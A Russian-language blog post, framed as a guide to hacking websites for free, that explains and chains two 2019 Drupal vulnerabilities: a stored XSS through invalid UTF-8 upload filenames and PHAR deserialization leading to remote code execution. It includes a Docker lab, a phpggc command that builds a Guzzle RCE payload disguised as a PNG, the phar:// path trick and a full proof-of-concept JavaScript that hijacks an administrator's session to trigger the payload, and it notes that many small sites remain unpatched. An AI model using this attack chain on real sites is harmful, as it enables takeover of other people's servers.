Как взломать сайт бесплатно используя уязвимости Drupal

Сегодня мы раскажем вам как взломать сайт бесплатно самому и без посторонней помощи. Это стало доступно после публикации свежей уязвимости такого изместного движка как Drupal. Конечно большинство крупных сайтов уже закрыли данную уязвмость, но большинство мелких сайтов все еще доступны для взлома. 

 
Как взломать сайт бесплатно
 

Что представляет из себя уязвимость для бесплатного взлома сайта.

Итак, интересный случай XSS связан с тем, что разработчики не учли отдельные особенности работы некоторых функций PHP с кодировкой UTF-8. Из-за особенностей работы preg_replace атакующий может загрузить файл, содержащий HTML/JS-код, при переходе на который он будет выполнен в контексте браузера пользователя.

Эта уязвимость получила номер CVE-2019-6341, ее обнаружил Сэм Томас (Sam Thomas). Под угрозой оказались все версии ветки Drupal 8.6 до 8.6.13, Drupal 8.5 до 8.5.14 и Drupal 7 до 7.65.

Вторая уязвимость — unserialize при помощи архива PHAR. Отсутствие проверки пути до временной директории дает возможность использовать враппер phar://. В конце прошлого года я рассказывал об эксплуатации десериализации через архивы PHAR в форуме phpBB. В Drupal тоже есть возможность загрузки файлов и атакующий может загрузить картинку, содержащую полезную нагрузку. Затем указать путь до нее в качестве временной директории, используя поток phar, что приведет к выполнению произвольного кода.

Речь идет о CVE-2019-6339. Ей подвержены все версии Drupal 8.6 ниже 8.6.6, Drupal 8.5 ниже 8.5.9 и Drupal 7 ниже 7.62. Уязвимость была найдена Грегом Кнаддисоном (Greg Knaddison) из Drupal Security Team и Сэмом Томасом (Sam Thomas).

 

Стенд для бесплатного взлома сайта под управлением Drupal

Чтобы воспроизвести уязвимость, нам понадобятся два контейнера Docker. Первый — для сервера базы данных.

$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="6zbd9Ilfka" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7

Второй — официальный, от разработчиков Drupal, с последней уязвимой к обоим багам версией — 8.6.5.

$ docker run -d --rm -p80:80 --link=mysql --name=drupalvh --hostname=drupalvh drupal:8.6.5

Теперь нужно пройти несложную процедуру инсталляции.

Как взломать сайт бесплатно
Установка Drupal 8.6.5

Если требуется отладка, то я по-прежнему рекомендую использовать PhpStorm и расширение Xdebug helper для браузера. Эта связка работает быстро и стабильно. Чтобы иметь возможность дебага, я дополнительно установлю PHP-расширение Xdebug.

$ docker exec -ti drupalvh /bin/bash
$ pecl install xdebug-2.6.1
$ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ service apache2 reload

Не забудь поменять IP-адрес 192.168.99.1 на свой и обрати внимание на путь до скомпилированной библиотеки xdebug.so. Далее нужно скачать исходники Drupal, и после перезагрузки конфигов Apache можно запускать отладчик.

После завершения установки CMS необходимо будет создать тестовую страницу или запись.

Создание тестовой записи в Drupal
Создание тестовой записи в Drupal

Помимо этого, для тестирования XSS понадобится любой пользователь, который сможет загружать файлы и оставлять комментарии. В дефолтной инсталляции это можно делать после прохождения регистрации. Как вариант, можешь просто создать юзера в админке.

 

Путь к XSS уязвимости

Начнем с межсайтового скриптинга. У пользователей Drupal есть возможность комментировать записи. И, как и в любой современной CMS, в комментариях можно использовать базовую разметку. Функция, которая нам интересна, — это добавление картинок.

Добавление картинок в форме комментирования записи в Drupal
Добавление картинок в форме комментирования записи в Drupal

Причем картинка загружается с компьютера пользователя. Имена загружаемых файлов могут представлять опасность, одна из последних уязвимостей в WordPress тому пример.

За сохранение загруженных файлов отвечает функция _file_save_upload_single.

core/modules/file/file.module
function _file_save_upload_single(\SplFileInfo $file_info, $form_field_name, $validators = [], $destination = FALSE, $replace = FILE_EXISTS_RENAME) {
  ...
  $file->destination = file_destination($destination . $file->getFilename(), $replace);

Обрати внимание на аргумент $replace. Он отвечает за ситуацию, когда в директории уже присутствует файл с таким же именем, как у загружаемого. По дефолту новый файл переименовывается.

core/includes/file.inc
function file_destination($destination, $replace) {
  if (file_exists($destination)) {
    switch ($replace) {
      ...
      case FILE_EXISTS_RENAME:
        $basename = drupal_basename($destination);
        $directory = drupal_dirname($destination);
        $destination = file_create_filename($basename, $directory);
        ...
  return $destination;

Функция file_create_filename генерирует новое имя для загружаемого файла. Но перед этим производится санитизация названия. Убираются все нежелательные символы.

core/includes/file.inc
function file_create_filename($basename, $directory) {
  ...
  $basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);
  if (substr(PHP_OS, 0, 3) == 'WIN') {
    // These characters are not allowed in Windows filenames
    $basename = str_replace([':', '*', '?', '"', '<', '>', '|'], '_', $basename);
  }

Функция preg_replace заменяет на символ подчеркивания (_) все символы с ASCII-кодом до 31 (1F). И все бы ничего, если бы не PCRE-модификатор u (PCRE_UTF8). Он интерпретирует входные данные как строку UTF-8. Допустимая длина символа UTF-8 — от одного до четырех байт. UTF-8 спроектирован с учетом обратной совместимости с набором символов ASCII. Поэтому в диапазоне однобайтовых кодов (0x00—0x7F) ASCII и UTF-8 пересекаются.

При работе функций preg_* с этой кодировкой есть небольшая особенность: если переданная строка имеет некорректный формат, то результатом работы будет NULL, а выполнение кода продолжится. Об этом четко написано в документации — см. справку по модификатору u.

Чтобы понять, как сделать строку невалидной, обратимся к спецификации по UTF-8RFC 3629. Согласно этому документу, байты C0, C1, F5-FF никогда не должны присутствовать в корректной строке в кодировке UTF-8.

Спецификация по UTF-8. Некорректные байты
Спецификация по UTF-8. Некорректные байты

Вооружившись этой информацией, я накидал тестовый скрипт, чтобы проверить особенность обработки невалидных строк.

test.php
<?php
$basename = "a\xFFnything";
print("Before: ".$basename.PHP_EOL);
$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);
print("After: ".array_flip(get_defined_constants(true)['pcre'])[preg_last_error()]);
Особенность обработки некорректных строк UTF-8 функцией preg_replace
Особенность обработки некорректных строк UTF-8 функцией preg_replace

Теперь посмотрим, что произойдет, когда мы передадим некорректную строку UTF-8. Для этого нам нужно сначала загрузить файл с кодом символа \xFF в качестве названия и одним из разрешенных расширений, я использовал png.

Загрузка файла, содержащего символы UTF-8
Загрузка файла, содержащего символы UTF-8

Я поставил брейк-пойнт на функцию file_create_filename и повторил запрос. В самом начале происходит вызов preg_replace, после которого переменная $basename становится null.

Повторная загрузка файла, содержащего те же символы UTF-8
Повторная загрузка файла, содержащего те же символы UTF-8
core/includes/file.inc
// A URI or path may already have a trailing slash or look like "public://"
if (substr($directory, -1) == '/') {
  $separator = '';
}
else {
  $separator = '/';
}

$destination = $directory . $separator . $basename;

Дальше формируется полный путь до загруженного файла ($destination), а так как $basename у нас пустая, то путь будет указывать просто на папку с загруженными файлами. Разумеется, эта директория существует, поэтому дальше мы попадаем в тело условия.

Формирование пути, по которому будет сохранен загруженный файл
Формирование пути, по которому будет сохранен загруженный файл
core/includes/file.inc
if (file_exists($destination)) {

Тут к имени файла добавляется суффикс, по сути, это просто счетчик.

core/includes/file.inc
  // Destination file already exists, generate an alternative
  $pos = strrpos($basename, '.');
  if ($pos !== FALSE) {
    $name = substr($basename, 0, $pos);
    $ext = substr($basename, $pos);
  }
  else {
    $name = $basename;
    $ext = '';
  }

  $counter = 0;
  do {
    $destination = $directory . $separator . $name . '_' . $counter++ . $ext;
  } while (file_exists($destination));
}
Добавление суффикса к имени загружаемого файла
Добавление суффикса к имени загружаемого файла

В итоге получается путь /var/www/html/sites/default/files/inline-images/_0. По нему и сохраняется содержимое файла.

Содержимое загруженного файла
Содержимое загруженного файла
 

Как взломать сайт бесплатно используя эти знания?

Сервер возвращает содержимое загруженных файлов без заголовка Content-Type, а современные браузеры пытаются определить тип содержимого автоматически. Такое поведение и позволит провести XSS-атаку. Для этого достаточно загрузить код на JS.

Дальше используем еще одну возможность в комментариях — ссылки. Формируем ссылку на загруженный файл с XSS.

<a href="/sites/default/files/inline-images/_0" type="text/html">Click here</a>

Теперь администратору достаточно перейти по ссылке, и код будет выполнен.

Успешная XSS-атака на Drupal 8.6.5
Успешная XSS-атака на Drupal 8.6.5

Кстати, необязательно использовать загрузку картинок через комментарии. Для тех же целей можно приспособить назначение аватара в профиле пользователя. В этом случае путь будет немного другим: /sites/default/files/pictures/<ГГГГ-ММ>/.

 

Выполняем произвольный код

Давай теперь посмотрим на другую проблему — PHAR-десериализацию. В панели администратора есть раздел File system. Там можно задать папку для хранения временных файлов (Temporary directory), а также время их жизни.

Настройки путей временных файлов в Drupal
Настройки путей временных файлов в Drupal

При сохранении данных формы срабатывает функция system_check_directory, которая проверяет существование указанной директории и наличие необходимых прав на нее.

core/modules/system/system.module
function system_check_directory($form_element, FormStateInterface $form_state) {
  $directory = $form_element['#value'];
  if (strlen($directory) == 0) {
    return $form_element;
  }

  $logger = \Drupal::logger('file system');
  if (!is_dir($directory) && !drupal_mkdir($directory, NULL, TRUE)) {

Здесь отсутствует проверка введенных данных и можно указать враппер phar:// и путь до PHAR-архива с полезной нагрузкой. Любая функция, которая поддерживает работу с потоками, может триггерить уязвимость.

Для генерации я воспользуюсь классной утилитой phpggc. В ней есть джентльменский набор гаджетов для популярных фреймворков, CMS и различных библиотек. Список постоянно пополняется.

Drupal использует библиотеку Guzzle, в которой есть известная цепочка гаджетов, ведущая к RCE.

Список доступных гаджетов в утилите phpggc
Список доступных гаджетов в утилите phpggc
/drupal-8.6.5/vendor/guzzlehttp/guzzle/CHANGELOG.md
## CHANGELOG

### 6.3.0 - 2017-06-22

Выбираем гаджет Guzzle/RCE1. Здесь ты сразу можешь сгенерировать архив PHAR, указав ключ -p и имя архива через -o.

./phpggc -p phar Guzzle/RCE1 system ls -o rce.phar

Далее переименовываем rce.phar в rce.png и загружаем на сервер как картинку. Если теперь указать путь до файла через враппер PHAR в качестве временной папки, то пейлоад отработает и код выполнится.

phar://./sites/default/files/inline-images/rce.png
Указанный путь попадает в функцию is_dir без какой-либо фильтрации
Указанный путь попадает в функцию is_dir без какой-либо фильтрации
Успешная эксплуатация RCE в Drupal через PHAR Unserialize
Успешная эксплуатация RCE в Drupal через PHAR Unserialize
 

Объединяем атаки в цепочку

Чтобы понять Как взломать сайт бесплатно и найти окончательный вектор атаки, нужно объединить XSS и RCE от администратора.

Сначала загружаем архив PHAR с полезной нагрузкой как PNG и запоминаем путь до него. Далее нам понадобится код на JavaScript, который будет подгружать от админа страницу с настройками и отправлять форму. В ней в качестве file_temporary_path будет указан путь до архива.

Скрипт должен будет получать ответ от сервера. Чтобы легче его парсить, я поместил результат работы команды ls -l в тег <shell>.

./phpggc -p phar -o rce.phar Guzzle/RCE1 system "echo \<shell\>; ls -l; echo \</shell\>"
poc.html
<html>
<head></head>
<body>
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" type="text/javascript"></script>
    <script>
        var filepath = 'phar://./sites/default/files/inline-images/system.png';
        var form_url = '/admin/config/media/file-system';
        var form_id = 'system_file_system_settings';
        $.get(form_url, function(data) {
            form_build_id = $(data).find('[name="form_build_id"]').val();
            var postdata = {
                'file_temporary_path': filepath,
                'form_id': form_id,
                'form_build_id': form_build_id
            }
            $.post(form_url, postdata, function (data) {
                alert($(data).last().text());
                console.log($(data).last().text());
            });
        });
    </script>
</body>
</html>

Загружаем этот код через первую уязвимость. Теперь остается только заставить администратора перейти по нужной ссылке. Но это уже совсем другая история.

Эксплуатация RCE через XSS
Эксплуатация RCE через XSS
 

Демонстрация уязвимости (видео)

 
 

Выводы

В статье я рассмотрел очередную возможность Как взломать сайт бесплатно, ведущую от XSS к RCE. Таких вариантов атаки в последнее время встречается все больше.

На данный момент обе уязвимости были исправлены. Чтобы исключить возможность использования враппера phar и архивов PHAR, команда разработки Drupal добавила кастомные обработчики для потоков phar://.

Патч для уязвимости PHAR Unserialize в Drupal
Патч для уязвимости PHAR Unserialize в Drupal

XSS продержалась немного дольше, и патч для нее вышел в марте этого года. Разработчики добавили компонент Unicode, который имеет метод validateUtf8 для проверки строки на соответствие стандартам UTF-8. Так что следи за новостями безопасности и вовремя обновляй свои продукты!

Click to rate this post!
[Total: 0 Average: 0]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Как взломать сайт бесплатно используя уязвимости Drupal

Leave a reply:

Your email address will not be published.